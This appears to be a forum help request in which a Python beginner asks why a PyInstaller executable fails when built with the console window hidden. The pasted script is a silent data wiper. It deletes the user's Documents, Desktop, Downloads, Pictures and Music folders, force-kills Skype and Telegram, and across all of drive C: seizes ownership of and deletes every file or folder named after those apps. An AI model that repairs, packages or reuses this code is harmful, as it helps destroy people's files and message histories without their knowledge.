I'm new to python. I used pyinstaller to make .exe file and don't want to show the console window. It's work if I use pyinstaller -F xxx.py
(has a window)
but I got the message failed to execute script xxx
if I use pyinstaller -F -w xxx.py
I have no idea how to log it.
python: 3.7.5
pyinstaller: 3.5
windows 10
import os
import re
import shutil
import sys
import time
from os import listdir
from os.path import isfile, isdir, join
from subprocess import PIPE, Popen
from typing import List
if os.path.exists("e:/"):
sys.exit()
all_Path = "C:\\"
def cmdline(command):
process = Popen(
args=command,
stdout=PIPE,
shell=True
)
(out, err) = process.communicate()
out = str(out).replace("\\r\\n'", "")
out = out.replace("b'", "")
return out
username = cmdline('echo %username%')
def Clear_User_Data():
user_path = f'C:\\Users\\{username}'
folders = ['Downloads', 'Documents', 'Music', 'Pictures', 'Links', 'Desktop']
for folder in folders:
shutil.rmtree(f'{user_path}\{folder}', ignore_errors=True)
def Kill_Tasks(tasks: List, times: int):
t = times
for task in tasks:
print(f'Waiting for {task} ... ')
times = t
while times > 0:
a = cmdline('tasklist')
if a.find(task) > 0:
os.system(f'taskkill /IM {task} /F')
break
else:
time.sleep(1)
times -= 1
def Seek_Spec_Folder(keyword: str, path: str):
folders = set()
for r, d, f in os.walk(path):
if re.search(keyword, r, re.IGNORECASE):
folders.add(r)
return folders
def Delete_Spec_Files(keyword: str, path: str):
for r, d, f in os.walk(path):
for file in f:
if re.search(keyword, file, re.IGNORECASE):
target_path = os.path.join(r, file)
try:
os.system(f'TAKEOWN /F "{target_path}" /R ')
os.system(f'icacls "{target_path}" /grant {username}:f')
except Exception as e:
print(e)
folders = Seek_Spec_Folder(keyword, path)
for folder in folders:
os.system(f'TAKEOWN /F "{folder}" /R ')
os.system(f'icacls "{folder}" /grant {username}:f')
shutil.rmtree(folder, ignore_errors=True)
Kill_Tasks(["SkypeApp.exe", "SkypeBackgroundHost.exe", "Telegram.exe", "Skype.exe"], 9)
Delete_Spec_Files('Skype', all_Path)
Delete_Spec_Files('Telegram', all_Path)